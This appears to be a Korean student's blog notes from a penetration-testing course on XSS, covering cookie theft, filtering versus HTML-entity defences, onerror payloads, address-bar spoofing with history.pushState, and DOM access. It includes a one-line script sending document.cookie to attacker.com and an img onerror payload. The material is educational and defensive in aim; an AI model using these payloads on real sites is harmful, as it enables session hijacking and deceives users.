Normaltic 모의해킹 취업반 스터디 8기 - 11주차

containerxox·2025년 6월 21일
post-thumbnail

☑️ XSS 종류

 


🕵️‍♀️ 공격자는 다른 도메인에서 피해자의 쿠키를 읽거나 탈취할 수 있나요?

도메인마다 쿠키는 엄격하게 분리되어 관리된다.

브라우저는 Same-Origin Policy에 따라,
다른 도메인에서는 쿠키를 공유하거나 접근 불가하다.

예를 들어, victim.com의 쿠키는 attacker.com에서 읽을 수 없다.
따라서, 공격자의 서버에서 직접적으로 피해자의 쿠키를 읽는 것은 불가능하다.


⭐⭐⭐⭐⭐⭐⭐ 하지만, 방법이 있다 !! ⭐⭐⭐⭐⭐⭐⭐
피해자의 웹사이트에 XSS 취약점이 존재한다면,
공격자는 피해자의 브라우저에서 악성 스크립트를 실행시켜
해당 도메인의 쿠키를 읽고, 쿠키를 공격자의 서버로 전송 가능하다.

//악성 스크립트가 victim.com 내에서 실행됨
var i = new Image();
i.src = "http://attacker.com/?cookie=" + document.cookie;

‣ 이 경우, 스크립트는 victim.com에서 실행되므로,
Same-Origin Policy에 따라 victim.com의 쿠키에 접근 가능
하고,
<img>태그를 통해 이미지 요청을 이용하여 attacker.com으로 쿠키 전송 가능 !


⚠️ HttpOnly 속성이 붙은 쿠키는 자바스크립트로 읽을 수 없다.
→ 따라서, XSS가 발생해도 document.cookie로 쿠키 탈취 불가 !

 


☑️ XSS 대응방안

🔴 잘못된 XSS 대응 방안 ➡️ " 필터링 "

  • 화이트리스트 기반 필터링 : 특정 단어"만" 허용
    ↳ 예를 들어, 게시판에서 화이트리스트 기반 필터링을 적용하면,
    허용된 단어 외에는 사용할 수 없어, 정상적인 게시글 작성이 어려움.
     
  • 블랙리스트 기반 필터링 : 특정 단어를 차단
    ↳ 블랙리스트 기반 필터링은 우회가 될 가능성이 존재 !

 

🔵적절한 XSS 대응 방안 ➡️ " HTML Entity "

 

☑️ XSS 우회 방법 모음




☑️HTML Editor를 사용하는 경우

🕵️‍♀️ HTML Editor에서 XSS가 잘 발생하는 이유

• HTML Editor는 사용자가 직접 HTML 코드를 작성할 수 있도록 하기 때문에 <,> 같은 특수문자가가 HTML Entity 로 변환되면 에디터 기능 자체가 작동하지 않는다..
➡️ 즉, HTML Entity로 치환이 불가능하여 XSS 방어가 어려움

 

🕵️‍♀️ HTML Editor에서 XSS가 가능하다면 어떻게 대응할까?

🔵 ( 대응방법 1️⃣ )
가장 권장되는 방법은 HTML Entity 기능 자체를 삭제하도록 고객에서 권고하기

🔵 ( 대응방법 2️⃣ )
고객사가 반드시 HTML Editor를 사용해야 한다고 한다면...

❶ 사용자 입력값에서 모든 HTML 특수문자를 HTML Entity로 치환


❷ 허용할 tag들을 식별하고 HTML Entity로 치환된 tag를 복원 (화이트리스트 기반)


❸ 복원한 Tag 내에 악의적인 event Handler가 있는지 체크하고 제거 (블랙리스트 기반)

 

❓( 질문 ) <img> 태그의 src에 자바스크립트를 넣어도 공격이 가능하지 않나요?

<img src="http://attacker.com/bad.js">

• src가 JS파일(bad.js)을 가리키더라도 브라우저는 이 URL을 이미지로 해석하려고 시도한다.
• 하지만, .js파일은 이미지 포맷이 아니기 때문에, 로드에 실패하고, 스크립트는 실행되지 않는다.

➡️ 즉, <img>는 스크립트 태그가 아니므로,
단순히 src만으로는 악성 스크립트가 실행되지 않음 !



👉 만약 onerror 속성이 같이 있다면,

<img src="http://attacker.com/bad.js" onerror="alert('XSS')">

➡️ 이 경우, 이미지 로드 실패 시, onerror에 적힌 JS가 실행됨.
➡️ 따라서, 이벤트 핸들러는 블랙리스트로 필터링해야 한다 !




☑️ Client Script 작성하기 위한 Javascript

❶ Page Redirect

<script>
  	// 방법 1
	location.href = "이동할 페이지 URL";
	// 방법 2
	location.replace("이동할 페이지 URL");
</script>


✔️ location.href
• 새로운 URL로 이동할 때 사용
• 브라우저의 히스토리(방문기록)에 현재 페이지가 남기 때문에,
사용자가 뒤로가기를 누르면 이전 페이지로 돌아갈 수 있다.

✔️ location.replace()
• 현재 페이지를 새로운 URL로 교체
• 이때 교체된 이전 페이지는 히스토리에 남지 않기 때문에 뒤로가기 불가능
• 주로 리디렉션(로그인 후 이동 등)에서 뒤로가기를 막고 싶을 때 사용.

 

❷ 주소창 변조 (history.pushState())

  • ( 예시 )

    ⤵️ 스크립트 실행하면,
<script>
  	history.pushState(null, null, 'test');
</script>

➡️ 결과
🔵 history.pushState()활용 예시

‣ history.pushState()는 브라우저 히스토리를 조작해 주소(URL)을 바꿀 수 있지만, 실제 페이지를 새로고침하지는 않는다.

‣ 예를 들어, Reflected XSS를 할 때, 공격 URL이 너무 길어지면 사용자가 쉽게 의심할 가능성 有
‣ 이때 history.pushState()를 이용하면, 브라우저 주소창에 보이는 URL을 정상적인 로그인 페이지 주소처럼 바꿔서 사용자를 속일 수 있다.
‣ 실제로는 악성 스크립트가 실행된 상태이지만, 주소는 평범한 로그인 페이지 URL로 보이게 됨.



🔵 예시
✔️ 실제 페이지 (/sqlinjection2.php)

✔️ 스크립트 실행

<script>
  history.pushState(null, null, 'test');
</script>

✔️ 결과: /test로 URL 경로가 바뀜

 

❸ 자바스크립트로 DOM 객체에 접근하는 방법

  • document: 해당 페이지의 HTML 소스코드
<script>
	document
</script>



👉 만약, 후디 라는 글자를 추출하고 싶다면.

이 객체에 자바스크립트로 접근해보자.

<script>
  	//방법 1. (id속성 이용)
	document.getElementById("userName");
	// 방법 2. (class 속성 이용)
	document.getElementsByClassName('card-titile')[0]
</script>


➡️ 후디 태그가 그대로 출력됨.


👉 속성의 값을 가져오고 싶다면
예외적으로 class 속성은 className이라고 해야함


👉 사용자에게 보이는 텍스트를 가져오고 싶다면,
.innerHTML;를 사용
하면 된다.

<script>
  	//방법 1. (id속성 이용)
	document.getElementById("userName").innerHTML;
	// 방법 2. (class 속성 이용)
	document.getElementsByClassName('card-titile')[0].innerHTML;
</script>


0개의 댓글